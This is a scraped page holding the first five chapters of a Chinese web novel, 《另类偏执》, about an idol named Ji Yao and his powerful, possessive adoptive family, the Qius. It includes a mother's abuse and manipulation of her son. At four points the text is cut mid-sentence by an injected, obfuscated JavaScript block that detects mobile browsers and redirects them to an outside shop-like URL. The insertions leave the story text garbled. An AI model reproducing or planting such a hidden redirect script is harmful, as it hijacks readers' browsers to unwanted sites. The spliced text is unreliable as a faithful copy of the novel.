《另类偏执》 1. 第一章 “继刘方毅夺得亚缇丝影帝后,华君润成为国内首位获得该荣誉的男艺人。” “有消息称,近日华君润将…” 主播的话未说完,频道被突兀地切换。 “欸!”罗浩炆不悦扭头,“谁啊!没看到我在看吗?” 他发了火,才看见切频道的人是谁。 季尧。 年轻的男生走进来,也没说话,拿起茶几上的遥控板就换了频道。 罗浩炆捏紧了手中的无糖可乐罐,愠色未褪,话却没有再多说了。 播报华君润华影帝的娱乐台一转,变成了无趣的财经新闻。画面里曝光灯闪烁,正在转播超商剪彩的实况。 清晰而板正的播报声从电视里传出:“位于瑚城中心的超大型商场——宜安城,于今早八点十八分正式开业。” “这是国内第四百座宜安城。截至目前,宜安城已和秋叶娱乐旗下艺人进行了超30次联动活动,在第四百座宜安城建立的当日,投资建设宜安城的莲芳集团特别邀请了秋叶娱乐副总裁邱芜澜女士共同剪彩。” 听到“邱芜澜”三个字,罗浩炆撇了撇嘴,将视线从季尧身上挪开,彻底没了动作。 得,谁让人家是世子爷呢。 他喝了口可乐,跟着一起看那财经新闻。 宜安城的开幕仪式来人不少,高矮胖瘦的负责人们喜气洋洋地站在彩绸后。中间负责剪彩的是莲芳集团董事长,以及被他请来的邱芜澜。 那是一名穿着正装的女人,青黑的外搭,雪白的内衬。 她身后的两名保镖也是一身黑白西装,手中各提一把黑伞。 正在剪彩,那两把黑伞没有打开,卷成辙痕清晰的伞束,贴在黑色的西裤边。两种黑色碰在一起,各有各的棱角。 邱家人酷爱这种冷色的正装,正经、严肃到压抑。 如此沉闷的配色依旧遮挡不住女人优越的容貌。 邱芜澜无疑是长得好看的。在顶级的上流圈子里,她的容貌依旧出类拔萃,那不是妆容造型、保养健身所致,而是来自数代精挑细选后的基因——一种昂贵悠久的气质。 看着屏幕里的邱芜澜,罗浩炆忍不住觑了眼站在门口的季尧。 季尧和邱芜澜长得很不像,圈子里的人都知道他是邱芜澜的表弟,可他的五官和邱芜澜、和邱家人都不太像。 他有一张娃娃脸,一双明媚无辜的圆眼,还有一对尖尖的小犬牙,五官略有深邃,像是混了点西方的血。 这样开朗灿烂的长相,和连穿着都沉闷刻板的邱家格格不入。 偏偏邱芜澜亲口承认了他们的关系。 罗浩炆还记得,自己签约秋叶娱乐、和季尧组团的第一天,经纪人就通知他们,副总想和他们吃顿饭。 秋叶娱乐成立时间不算太长,但背靠秋叶集团,是秋叶集团进军娱乐圈的第一枪。 秋叶娱乐的老板是秋叶集团董事长的长子、邱芜澜的大哥,如今那位太子爷一年也就来个一两天,实际上做事的是副总裁邱芜澜。 大老板二老板一个姓,从前员工们用“小邱总”来区分邱芜澜,但新人见不到邱承澜,能看见的只有邱芜澜,久而久之,那个“小”字慢慢淡了。 第一天就要和总裁吃饭,罗浩炆和队里的其他男生半是激动半是紧张,去的路上,他们兴奋地聊起这位皇太女的各种传闻,唯有年纪最小的季尧一言不发。 他们还奇怪为什么选秀时活泼可爱的季尧会如此反常,直到坐进包厢、见到了那位秋叶娱乐的实际管理者后,几人才明白过来——他们全都不过是皇太女拨给小世子的伴读而已。 季尧的沉默自然也不是内向,而是不屑。 罗浩炆听见了经纪人唐知行的声音,他送季尧来休息室,自己站在门外的走廊上和谁打电话。 等唐知行的电话打完,剪彩的转播也结束。 季尧将遥控板丢给罗浩炆,慢悠悠地走去化妆镜前坐下,让小助理卸妆。 经纪人唐知行进了门,问罗浩炆:“木木呢?” 罗浩炆朝里间的休息室努了努嘴,“睡觉。” 唐知行点了点头,对两人道,“尘霄的背采马上结束了,小邱总刚好在附近,问你们要不要一起吃个饭。” 罗浩炆眼睛一亮,还没回答,化妆镜前的季尧突然回头,给他卸眼影的小助理没来得及收手,化妆棉把眼影斜晕出长长一条。 有些诡媚。 在助理的惊呼声中,季尧笑眯眯地开口:“减肥呢唐哥,吃什么饭呀。” “海鲜餐。”唐哥面不改色地收了手机,“一滴油都没有,全是优质脂肪蛋白质。” 季尧弯了弯眼睛,没有说话了。小助理手忙脚乱地给他补救。 他不说话,罗浩炆马上说:“吃海鲜?唐哥我去!” 唐知行嗯了一声,也没问睡觉的杨木和背采的韩尘霄,直接回了邱芜澜的总助:“都去。” 回完消息,他的目光落在了化妆镜前的少年身上。 过了二十岁,季尧身上还是一股子少年味儿。他简直是按照阳光小奶狗的人设长的。 唐知行不太看好这类型的艺人,何况季尧的唱功、演技都一塌糊涂,业务能力差也就算了,季尧本人还没有半点上进心——虽然他这种身份不需要在娱乐圈有什么上进心,只是作为职业经纪人,唐知行更愿意把宝押在有实力和野心的韩尘霄身上。 借着季尧的关系,能让韩尘霄在邱芜澜面前多露露脸。 谁知道世子爷哪天腻了就退圈了,摇钱树还是长青的好。 “唐哥,小邱总下午没工作么,怎么有空找我们吃午饭?”罗浩炆反坐过来,也不管电视了,趴在沙发背上期待地向唐知行打探。 “不知道,”唐知行走到另一边坐下,挑着手机里的消息回复,“她说要接季尧回家。” 罗浩炆立刻和季尧搭起了话,“怎么了,家里人过生日?” 他故意抛出了个答案,好套出实际情况来。 季尧对着镜子里的罗浩炆微笑。 他似乎真的是个混血儿,瞳孔的颜色格外浅,笑起来时呈现出甜蜜的糖色。 小助理顿了一下,理解了季尧的粉丝为什么喊他“天使”。 季尧虽然和邱家人长得不像,但他的五官着实精致,宛如油画作出的光明圣子像。 等她从这美好的笑容里回神,就听见季尧回答了罗浩文的话:“没有。只是这次综艺拍了太久,我想她了。” 罗浩炆心里有点发酸。 公司里多少男艺人想约邱芜澜吃饭,她从来都推说没空,季尧一句话,竟能让邱芜澜空出半天时间来。 他佯装调侃:“见过妈宝男,还没见过这么黏姐姐的,你也满二十了,怎么还天天和姐姐腻在一起啊。” 他羡慕又眼馋,说出来的话带点刺,实际上倒没有别的意思,大家都心知肚明,不止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724272|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邱芜澜,邱家人向来重视家庭。 上个世纪之前,邱家的嫡系被禁止和外姓人联姻,为防资产稀释,他们只和邱家的旁支通婚。 在确认近亲结合的危害后,邱家这一习俗才慢慢打破,可这一代的秋叶集团董事长、邱芜澜的父亲邱岸山是个疯狂的复古血统派,他不顾反对,找了血缘极远的一位分支结婚,硬是生下了四个孩子。 那位邱太太早年病逝了,留下的四个孩子延续了邱家的思想,对血缘亲近的家人有着不同寻常的重视,并非其乐融融,而是带着一种古怪信念,充斥着被利益驱驰的偏执—— 宛如狼群的家族观念。 冷淡的色调、狠绝的事业心,以及那紧密复杂的家族信念,让邱家一度被冠上狼名。 季尧没有回话,安安静静地由着小助理动作。 罗浩炆有点尴尬,想到邱芜澜,撑着笑兀自往下说:“听说裴涵那个队每年只有年会才能和邱总吃上顿饭,季尧,我们队里有你可是蹭了不少福利。” “好了尧哥。”小助理退开两步,收拾起用具。 季尧十八岁选秀出道,上个月刚满二十,她其实比他大了四五岁,但还是喊哥。 按照季尧的人设,他应该甜甜地说一句“谢谢姐姐”,可季尧什么也没说,眼睑都没有抬一下。 小助理习以为常,明星偶像私下里总有些架子,何况是季尧,他向来随心所欲,心情好的时候能陪她一起蹲在地上,眨巴着眼睛问她要不要喝红糖水;心情差的时候,她说十句都懒得回一句。 “把手链摘下来吧。”看来今天季尧心情一般,可该说的话还是得说,助理指了指他手腕,“我带回去还给赞助商。” 那条超越她年薪的手链被季尧解下、丢去了化妆桌上,发出让小助理尖叫的声响。 她急忙拿起,检查没有破损后,一扭头,瞟见季尧从口袋里摸出根黑色的发圈,套去了空出的手腕上。 一根普通的发圈。 季尧的手腕上总有这么一两根发圈,深色把手腕内侧的青筋衬得更加分明。 小助理很清楚,季尧从没有过女朋友,但偶尔他手腕上的发圈会消失一段时间。 “唐哥。”门口传来清冷的男声,罗浩炆和唐知行抬眸,看见穿着冲锋衣的青年一脸倦容走来。 “尘霄哥。”罗浩炆和队长打了个招呼。 韩尘霄长了一副冷面酷哥相,看着不好说话,实际倒不难相处,他对着罗浩炆点头致意,伸手去拿自己的包。 “结束了?”唐知行问。 “嗯。”拎起黑色的双肩包,他疲惫地阖了下眸,“唐哥,我请半天假。” “怎么?” “有点事要处理。” 唐知行皱眉,“非得今天?” 冷俊的青年抬眸看了他一眼,露出点乞求,这场综艺他录得实在是疲惫。 唐知行叹气,“好吧,你去吧,难得小邱总中午请吃饭。” 他说着又安慰道,“没事,之后还有机会。” 正欲离开的青年脚步一顿,将背包放回了沙发上。 “对不起唐哥,”他驻足转身,“我不知道邱总要来……那我晚点再走。” “尧哥,我先走了。”小助理背上工具包,和季尧打了声招呼。 季尧坐在凳子上,盯着镜子里自己浅色的瞳孔。 “快下雨了,”他轻声嘱咐,“早点回去,路上小心哦。” 2. 第二章 和大部分男团一样,RNI多少有两份卖腐的策划案。 他们并不走这个路线,但挨不住粉丝们想营养均衡,白送的流量唐知行当然不会拒之门外,顺水推舟地助力了两把。 呼声最高的是队长韩尘霄ⅹ最小的队员季尧,冷酷沉稳、实力强劲的队长和阳光可爱的多金傻白甜,这个cp里有唐知行的两分私心。 他一开始担心季尧不高兴,季尧没说好,也没说不好,却在昨天的综艺上突然假装漏嘴地喊了韩尘霄一句“哥哥”。 之所以说假装漏嘴,是因为他们都知道,季尧根本不会喊韩尘霄“哥哥”。 从天而降的惊喜让唐知行心花怒放,看季尧的态度,就算韩尘霄攀不上小邱总,至少也能和这位小世子成为好友。 等待小邱总的过程里一片静默。 他们提早一步到了饭店,隔音性极好的包厢里,几人默不作声地刷着手机。 韩尘霄面无表情地滑动着资讯,麻木地点开图文又麻木地退出、继而点开下一条。 他看了又十来分钟,一个字都没进眼睛。 过了会儿,他放下手机开始整理衣领,突然发现隔壁座的季尧正饶有兴趣地盯着自己。 韩尘霄回以疑惑的目光,季尧笑了笑,甜腻。 不止是韩尘霄开始整理自己,随着时间推移,罗浩炆和杨木也开始不断调整头发、上衣。 唯独季尧横着手机,沉浸地打游戏。 半个小时,包厢门被拉开。 这一瞬,在座的几个男人挺直了腰背,流露出明显的紧绷。 门外的皮鞋声里混了一对高跟,下一刻,罗浩炆在门口看见了不久前才在财经新闻里的那套正装。 “邱总。”唐知行率先站起来打招呼,其他几人急忙跟着起身,局促地喊“邱总”。 最近两年,新员工不知道邱承澜,老员工们也不常在邱芜澜面前喊她“小邱总”了。 “路上有点堵。”女人冲他们颔首,自觉去了留出的主位。 那个位置挨着韩尘霄,他喉结微滚,嗅到了一股淡雅的兰草气。 保镖将门带上,守在外边,待邱芜澜落座,其他几人才小心翼翼地坐下。 韩尘霄只觉得坐下后的距离更近了。他不敢看她,只能瞥见女人搁在桌上的手。 她脱了青黑色的外套,露出白色的内衬,腕上有一颗珍珠袖扣,冷白的指上没有饰品,也没有做指甲,只有一支小牛皮表带的女士手表。 并不贵,是宜安城自营店的手表。 “姐姐。” 邱芜澜的另一侧自然是季尧,他撑着凳子的一角面朝邱芜澜,出口的声音像在糖水里润了一层,水凌凌、甜滋滋,和平常说话的语调不同。 邱芜澜弯了弯唇角,这一次的笑带了点温度。 她没搭理季尧,却是看向了唐知行,“没惹祸吧。” 唐知行笑道,“可乖了,老老实实坚持到了最后。” 邱芜澜没细问,他也就没说季尧这次综艺里的成绩。 季尧是个花瓶,这事不需要他说,邱芜澜心知肚明。 邱芜澜回眸,用目光点了点自己挂在椅背上的外套。 季尧顺着她的视线,看见口袋里鼓起来一点。他伸手去掏,触到了几颗糖,配料表第一行标着赤藓糖醇。 侍者推门上菜。 丰富的菜品,肉眼可见的新鲜,几人吃着,唐知行和邱芜澜汇报近期情况。 邱芜澜听得认真,吃得却敷衍,漫无目的地切割着,偶尔才叉起一点甜虾、半块北极贝。 季尧同样没动,他含着邱芜澜口袋里的糖,低头玩手机。 “听说郸城的分公司已经在签人了,”唐知行汇报结束,罗浩炆立刻见缝插针地说话,“邱总,您之后会去郸城吗?” “前期会过去看看,我还是会留在瑚城。” “毕竟秋叶集团在瑚城嘛。”罗浩炆笑着逢迎。 邱芜嗯了一声。 她笑得次数不算少,可邱芜澜的笑就像是职业妆,很淡,纯粹出于商业礼仪。 罗浩炆想起她刚坐下时对着季尧的那个笑,心里又酸刺了起来。 邱家对血亲极度重视,只要是有血缘关系,哪怕季尧这种非邱姓的远亲都能得到邱芜澜特别的关注。 罗浩文舔了舔紧张导致的干唇,目光愈发热烈。 对远房表弟都如此溺爱,真不知道邱芜澜的丈夫…不,哪怕只是男朋友,一定都很幸福。 真不知道那些男的在想什么,居然会和邱芜澜分手。 罗浩文扫了眼旁边低头猛吃的杨木,走邻家暖男人设的杨木在高强度的综艺里尚且保持轻断食,凌晨三四点还泡在健身房里,这会儿却像个大胃王吃播似的一盘接着一盘,对主座上的邱芜澜看也不看。 罗浩炆一眼就知道这人在想什么——濯清涟而不妖呗。 指望小邱总给他来一句“你好特别,我从没见过这么真实的男偶像,而且你也不像别人那样讨好我”。 呕。 罗浩炆嫌弃得要死,他自己也不是没有想过要矜持点,不过发现小邱总并不吃这一套后,马上切了路线。 不出他所料,杨木不主动搭话,整场饭局邱芜澜便也没有开口和他聊过一句。 罗浩炆眼见杨木吃饭的速度越来越慢、脸色也有些发僵,忍不住暗中嗤笑。 前面把人设搭得那么高,现在改也晚了。 唐知行无奈地看着罗浩炆眼角泄露的得意,他根本没有发现,自己还不如杨木,至少杨木不多话。 他又瞄向手边的韩尘霄,季尧坐在邱芜澜的左手,按理唐知行该有个右手的位置,为了推韩尘霄,他故意换了座,把韩尘霄安排去了邱芜澜身边。 不枉他的用心,韩尘霄比那俩货有眼色得多。 他开口次数较少,每次都是围绕着季尧,这会儿正笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724273|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着给邱芜澜讲这次综艺里季尧的趣事,邱芜澜颇感兴趣地听着,目光落在了韩尘霄身上。 被她侧着头看着,韩尘霄捏着刀叉的指节微微发白。 他面上不显,大脑却有些发涩。韩尘霄并不是机敏健谈的人,他拼命搜刮着有趣的环节,生怕讲的内容无趣,让邱芜澜不耐。 “那天唐哥说,网上有个帖子很火,让我和小尧趁热打个铁,小尧没说话,我以为这事儿就这么算了。”他想到个新鲜事,试图博邱芜澜一笑,“没想到昨天节目上他突然开口叫我哥哥,真是把我吓了一跳。” 说到这事几人都笑了起来。 邱芜澜扭头,看向低头玩游戏的季尧,轻声开口:“你叫他哥哥?” 她也还是笑着的,可语气让唐知行敏锐地发现了点不对劲儿。 季尧抬起头,像是未从游戏里抽离,带着点迷茫回道,“唐哥提了好几次,队长也私下找了我,问我有什么看法。” 邱芜澜回眸,和唐知行对视。 她道,“费心了。季尧什么样,我也知道。知行,别给他太多压力。” 唐知行一怔,他不知道自己做错了什么,却知道邱芜澜不是很高兴。 饭局散后,邱芜澜带季尧上了车,唐知行七上八下地送她,“邱总,我也就是随口一提,可能是我没说清楚让季尧误会了,团队绝没有强制卖腐的意思,只是问问他的想法而已。” “我知道。”邱芜澜颔首,“没有怪你。” 她越过唐知行,视线落在了他身后的青年上,“我看尘霄脸色不太好,让他休息几天吧。” 自动车门合上,唐知行的脸唰得惨白。 罗浩炆酸溜溜地对韩尘霄开口,“小邱总对你可真够不一般的。”邱芜澜居然关心他的身体呢。 唐知行深吸一口气,把脏话压下去。 不一般个屁。 他的常青树种子就这样莫名其妙被雪藏了! 车子开出半里,前后车帘合闭,昏暗的车厢内打足了暖气。 邱芜澜垂眸养神,场面上的笑意退了个干净,眉眼柔婉也抵不住淡漠的神情。 “姐姐……”季尧触上了她的手背。 没有被推开,他的五指便一寸寸地插.入邱芜澜的指缝,黏腻地同她交握。 邱芜澜睇了他一眼。 “你叫他,哥哥。”她轻慢地吐字,重复了方才的话语。 季尧折腰,脸颊贴在两人交握的手上,委屈地磨蹭,“他和唐知行缠得我烦。” 邱芜澜伸出另只手慢慢梳理季尧的头发,天然微卷的软发有着绸一般的触感。 季尧舒服地眯眼,他拗着腰,就着这极其扭曲的姿态,在邱芜澜膝上枕了一路。 窗帘紧闭,他看不见,但听见了雨点砸在车上的声音。 滴滴答答。 回去的路上下了场骤雨。 要是早点回去,本能避开这场雨。 3. 第三章 车子回了本家的庄园。 这是最充满邱氏气息的地方,阴冷压抑、死气沉沉,还带着两分诡异的腐烂,像是老狼堆积骸骨的洞穴。 骸骨是狼的战利品,这座庄园里无一不是家主邱岸山的战利品。 季尧的妈妈便属其一。 “芜澜。” 森白的大理石楼梯上快步走下一位妇人,她有些年纪了,面容身段依旧惊艳,只是气色不太好,看着憔悴。 见到门口的邱芜澜和季尧,美妇虚弱的圆眼中焕发出神采,她牵着身上的披帛,匆匆下楼,来到邱芜澜身前:“吃饭了吗,怎么这个点回来。我听见雨声了,路上有没有淋到?” “吃了。”邱芜澜冲她点头,“我有点工作要去处理。” “好。”季葶马上让开,又亦步亦趋地跟在她后面,“我给你泡杯茶吧?” “不用。”邱芜澜将外套递给一旁的佣人,松了松领口,走上了季葶方才下来的楼梯。 季葶仰着头,目送她进房才堪堪收回视线,扫向身后的儿子。 季尧弯了弯和女人如出一辙的圆眼,“妈妈。” 对着亲生儿子,季葶没多少笑意,只问:“少爷们呢?” 季尧眨眼:“我怎么会知道。” 季葶不耐地皱了皱眉,对季尧道了句,“来我房间。” 她走在前面,季尧乖巧地跟着她,看见女人穿着不包跟的棉拖鞋,露出纤细苍白的脚踝。 邱岸山喜欢弱不禁风的玻璃美人,因为邱夫人留给他最后的记忆便是这般模样。 他也不止一种口味,因季葶和过世的邱夫人容貌相似,于是成为了唯一一个住进本家的女人。 季葶心花怒放地进来,等了一年又一年,邱岸山始终没有半点结婚的打算。 她这才明白,他让她进门,只是因为家里需要一个女人以备不时之需。 谁也不能说邱岸山不喜欢季葶,他的确喜欢她,可他的妻子、他的伴侣、邱家的主母、孩子们的母亲必须是血统纯正的邱家人。 他们朝季葶的房间走去,那是走廊最深处的房间,对面挂着巨大的邱夫人画像。 娇贵的女主人用脉脉含笑的眼睛注视着季葶的房门。 这幅画是季葶的穿衣镜,摆在开门的地方,用来检查她的仪态着装是否得体。 房门合上,对门就是厚重的窗帘,透不进半丝光亮,终年只有电灯的光。 为了保持病态,季葶躲着太阳,也吹不了一点风。 她在沙发上坐下,季尧站在她面前,女人挑剔地打量自己的儿子,半晌,低声开口,“她还没有用你?” 语气夹杂着烦躁的不悦。 季尧点头。 “都二十了,”季葶愠道,“你到底有没有上心?” 季尧张了张嘴,还没说话,季葶便拧着眉道,“不重要的通告你就别管,空出时间多陪陪她,她对你不差,为什么这么久了都没成事?那一个个不入流的男明星都上了她的床,你为什么不行?二十了!你都二十了!从十六就让你抓紧,你有没有听我的话!再拖上四年,没了精力她更不会看你!” 她开口时还是正常的语调,到了后面渐渐尖利起来,混合着窗帘外的雨声,潮湿泥泞的气息裹缠了季尧全身。 季尧漠然回望满目怨毒的女人,她的声音像是指甲刮过黑板,每个字都化作长针,非要刺进他的耳朵里不可,偏偏怕被人听见,音量很轻。 她说着恼怒起来,指甲拧上了季尧的胳膊,压着嗓子骂:“废物!废物!我二十岁时什么男人勾不到手,要是我二十岁、要是我再年轻十岁…教了你那么多年,你连个朝夕相处的女人都办不了!没用的小畜生,不怪你爸不要你!要不是看着你从我肚子里爬出来,连我都怀疑你是哪来的杂种!” 细密的咒骂回转在这豪华的房间里,分明是歇斯底里,却因畏惧而不敢拔高音量,如同虫窝里的虫群,数量巨大,也只发出些窸窸窣窣的响动。 潮湿的天气,房中的蔷薇熏香闷得季尧有些恶心。 他等着季葶骂累,然后熟稔道歉,“对不起妈妈,我会警惕那些男人的。” 季葶不耐地撑着头,她的身体越来越差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724274|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,骂了不过十来分钟就头疼胸闷。 “有什么用、有什么用!”她头疼欲裂,“蠢材!世上那么多男人,你处理掉两个三个有什么用!” 想起了什么,她蓦地盯向季尧。那双圆眼在睁大之后显得有些恐怖,眼白处嵌着细小的血丝,精神衰弱让她很难好好睡上一觉。 “我看新闻了,”她道,“华君润,成了亚缇丝影帝。” 好臭…… 季尧垂眸,避开了女人充满血丝的巨大眼球。 屋子里的蔷薇味发了霉,臭得他反胃头疼。 他好想嗅那股清雅的兰草香气。 季葶死死盯着季尧,没有等到他的回答,就见少年脸上那对漂亮的圆眼蒙上了水汽,变得雾霭涣散,失去了聚焦的能力。 他的呼吸吃力起来,脸色趋于和母亲一样的苍白。 季葶恨得踹了他一脚。 蠢货! 蠢货、蠢货!吸干了她的血肉青春,却连一点她的手段都学不到的贱货! 二十岁、二十岁! 这没用的公狗! 要是她二十岁、要是她没有生过孩子,哪里用得着他去勾引邱芜澜!这宅子里的年轻少爷们总能被她拿下一个! 季尧低头站在原地,两鬓溢出冷汗,他抱着头微微痉挛,季葶根本不在乎他的异样,她捂着胸口,心悸得发慌。 女人像是脱水的鱼,大口大口地吸气。 她熬了没有几分钟,猛地起身,跌跌撞撞地奔去床边,苍白削瘦的手抓起精油瓶,哆哆嗦嗦地往香薰里挤。 指甲一颤,整罐蔷薇精油都倒了下去。 “哈……” 浓到刺鼻的蔷薇香径直扑到季葶脸上,她双手撑在桌沿,两侧微卷的长发垂下,将惨白的脸颊遮在阴影内,亦将袅袅飘出的蔷薇香气聚拢在面前。 眼球被熏得刺痛,她呛得剧烈咳嗽,一边咳一边张嘴大口吞食着蔷薇浓香。 雨势愈大,隐约有了雷光。 门外响起女佣的声音:“去把那边的窗户关紧,别让雨吹到夫人的画像上。” 4. 第四章 邱芜澜从大哥邱承澜手中接过秋叶娱乐时,秋叶娱乐只有个瘦骨嶙峋的基架。 集团事多,邱承澜顾不上新项目,给了邱芜澜选择,是进集团还是开辟新领域。 邱芜澜选择了后者,从大学入学便一手学业一手创业,十年下来,背靠着实力雄厚的秋叶集团,终于在娱乐圈取得了一席之地。 这是好事,也是束缚。 公司籍籍无名时,可以随心所欲无有顾虑;如今秋叶娱乐规模越来越大、名气也越来越盛,流程、管理及各方面的压力便也随之暴涨。 邱芜澜名为回家休假,实则不过换了工作场所,直到晚饭前才挂断会议。 她没有太强的食欲,但今晚弟弟会回来。 共同进食是维系家族关系的重要一环。 邱家人有着强烈的共识:工作学习是为了家族利益。 繁荣家族是最终目的,同一环境下只要有两名以上邱家人,他们就会准时出席餐会,如狼一般,通过分享食物表达友善、联络感情。 季尧趴在二楼的飘窗上,目光空洞地俯望客厅落地窗外的这场暴雨。 闷雷滚滚,临近傍晚,天色愈发昏黑。 巨大的水晶灯折射出华丽的明光,灯光被雨水的潮气洇渗、落在这座历史沉久的庄园里,透着湿冷的暗昧。 隔着爬满雨珠的窗户,季尧看见了侧庭的蔷薇园。 屋里的光像是暴雨中的蔷薇,本色再如何明媚鲜亮,都被波谲的天色、冷冽的急雨浇得昏昏然。 “泽安少爷。” 楼下响起佣人欣悦的问候,季尧从飘窗上垂眸,望见楼下的男人。 他身上是严谨到刻板的西装三件套,暗色的搭配,蓝得发黑的领带一丝不苟地系到领口。他的相貌也是典型的邱家长相,知性冷淡。 “泽安哥。”季尧趴在围栏上,枕着自己的手臂,笑吟吟地冲他问好。 青年抬头,透过银丝边的眼镜漠然地望向他,带着点儿嫌恶,如同憎恶动物毛发的母亲忍耐着孩子养在家里的猫狗畜生。 “泽安回来了?”季葶从餐厅转出,笑着同他招手,“就等你了。季尧,叫芜澜吃饭。” “好。”季尧轻快地应了。 在看见他进入邱芜澜的书房时,邱泽安眼中的厌色愈浓一分。 他步入餐厅,消毒双手后坐去自己的位置。 季葶在他斜对面,收拢身上的披帛,冲他露出个柔婉的笑。 邱泽安摘下眼镜,拧了拧眉心。 邱芜澜很快同季尧下楼。 她出现的瞬间,邱泽安狭长黑眸里的负面情绪一扫而空,随之升起的依恋冲散了一身冷意。 像是邱芜澜在饭店对着季尧露出那个笑一样,邱家人对待家人的表情截然不同。 “姐姐。”他起身,等着邱芜澜落座,将椅子推进。 季尧坐在季葶手边,是离主位最远的位置。 邱芜澜抬手,递给了邱泽安一颗糖。 邱泽安微疑地“嗯?”了一声,她道,“剪彩时送的。” 季尧扫过那熟悉的包装,他中午在邱芜澜口袋里摸到了很多颗,但他最终只吃掉了其中之一。 纵然整头猎物都放在末等狼面前,它也知道,自己无权独吞。 季葶顺着话题聊了起来,“是宜安城的剪彩吗?” 邱泽安拨开糖纸,将糖含在了口中。 饭还没吃他就拆了糖,邱芜澜拦他动作慢了一步,无奈地笑了,“咬。” 邱泽安抿了抿唇,片刻才有些不情愿地动了颌骨。 细微的破裂声响起,糖球在他口中碎开,代糖特有的寡淡在齿间铺展。 邱芜澜知道,他不会咬她给的糖,也知道如果不把口里的东西吃完,他是不会去吃下一样的。 两人旁若无人地互动着,等邱泽安乖乖嚼完糖、开始吃饭后,邱芜澜才回了季葶:“嗯。” 她叉起一点小羊排放入口中,在家吃得比在店里多了些。 季葶不在意她的怠慢,“承澜和泽然最近还好吗,他们好久没有回来了。” “哥哥出差。泽然封闭式训练,还得要一段时间。”邱芜澜回道,“我下个月恐怕也没空回这里,你要是闷了可以去附近转转,医生说你该晒晒太阳。” “你也不回来呀。”季葶掠过了她的后半句,眼尾噙着点失望,出口的话自带两分娇昵,“不能多留几天么?” 邱芜澜盘中放入了一条贴骨肉。 邱泽安把自己羊排上的那一条肉分给了她,又从她盘中取走了羊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724275|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排的剩余部位。 “分公司新建,可能有点忙。”邱芜澜叉起邱泽安切来的肉咽下。 “好嘛,你们都不回来,岸山就更不指望了。” 季尧有一搭没一搭地切割着盘里的肉,贴骨的部分被完整地挑出,其余的菜被他切得碎烂。 他用刀娴熟,透出优雅,百来刀没有一声磕碰盘子的声响。 长条的餐桌,主座是邱岸山的,左边第一位是长子邱承澜,右手第一位是邱芜澜。 这三个位置固定不变,长子长女之后的分别是双胞胎邱泽安、邱泽然的座位。兄弟俩谁在就谁坐,要是今天在的是弟弟邱泽然,邱芜澜身边就会是他在。 季尧离邱芜澜太远,他盘子里的东西送不到她口中。 邱芜澜将贴骨肉咽了便放下刀叉。 她还未起身,邱泽安便握住了椅背,帮她拉开椅子。 “再吃点嘛。”季葶仰头看她,“听季尧说你今天中午是在外面吃的,肯定没吃好。” 当她仰头时,那张娃娃脸、那双圆眼愈显可爱,四十出头的女人,却还保留着一腔小女儿的娇憨。 邱芜澜在邱泽安肩上拍了拍,“卿娱的那份REMS,睡前拿给我。” 她收手,又摸了颗糖放进了邱泽安手心,俯身之际,微卷的发丝拂过镜片,淡雅的兰草香气笼罩了邱泽安。 镜片之后,那狭长清冷的凤眼渗出薄红。 邱泽安五指收拢时,轻轻擦过姐姐的指尖。 他握上了邱芜澜的手腕,额角贴着她的腕,眷恋而脆弱。 “好的,姐姐。” 他微微张唇,迷离地用嘴呼吸。 邱芜澜自他身后走过,这一次没有回应季葶。 邱芜澜不在,邱泽安立即起身,一刻都不愿意在餐厅多待。 “泽安也不吃了吗?”季葶蹙眉,“你们真是……再怎么忙也要好好吃饭呀。” 没有人回应她,餐厅只剩下她和季尧。 季葶直勾勾地盯着邱芜澜、邱泽安的席位,仿佛他们还坐在那里似的。 季尧搁下刀叉,盘子里是一颗颗黄豆大小的碎肉。 边缘整齐,一刀刀切碎后又如拼图般拼成了完整的羊排。 唯独少了贴骨的那一块。 5. 第五章 古老的庄园越来越小,直升机每往前开出一里,季尧便觉得空气清新一分。 八座的直升机,邱泽安和邱芜澜坐在同一席。青年侧着身,一手托着平板,一手拿着触笔,左耳上戴着蓝牙,低声同邱芜澜谈论工作。 